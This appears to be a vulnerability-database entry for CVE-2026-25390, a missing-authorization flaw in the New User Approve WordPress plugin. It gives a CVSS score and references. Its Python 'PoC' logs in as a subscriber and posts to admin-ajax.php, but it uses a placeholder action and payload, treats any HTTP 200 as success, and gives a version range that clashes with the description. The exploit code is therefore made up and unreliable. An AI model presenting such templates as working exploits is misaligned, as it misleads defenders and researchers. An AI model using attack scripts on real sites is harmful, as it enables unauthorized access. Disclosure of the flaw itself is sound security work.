CVE-2026-25390

Description

Missing Authorization vulnerability in Saad Iqbal New User Approve new-user-approve allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects New User Approve: from n/a through <= 3.2.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

New User Approve <= 3.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: New User Approve < 3.2.3 - Missing Authorization PoC
# Date: 2026-03-25
# Exploit Author: Security Analyst

target_url = "http://target-wordpress-site.com"
# Low privilege user credentials (PR:L)
username = "subscriber"
password = "password"

session = requests.Session()

# 1. Login to get auth cookie
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': target_url + '/wp-admin/',
}
session.post(target_url + "/wp-login.php", data=login_data)

# 2. Send request to vulnerable endpoint
# Exploiting missing authorization on a sensitive action
exploit_payload = {
    'action': 'nua_some_sensitive_action', 
    'data': 'malicious_data'
}

response = session.post(target_url + "/wp-admin/admin-ajax.php", data=exploit_payload)

if response.status_code == 200:
    print("[+] Exploit successful! Action performed without admin rights.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25390
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25390
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25390/
[4] VulDB https://vuldb.com/cve/CVE-2026-25390
[5] https://patchstack.com/database/Wordpress/Plugin/new-user-approve/vulnerability/wordpress-new-user-approve-plugin-3-2-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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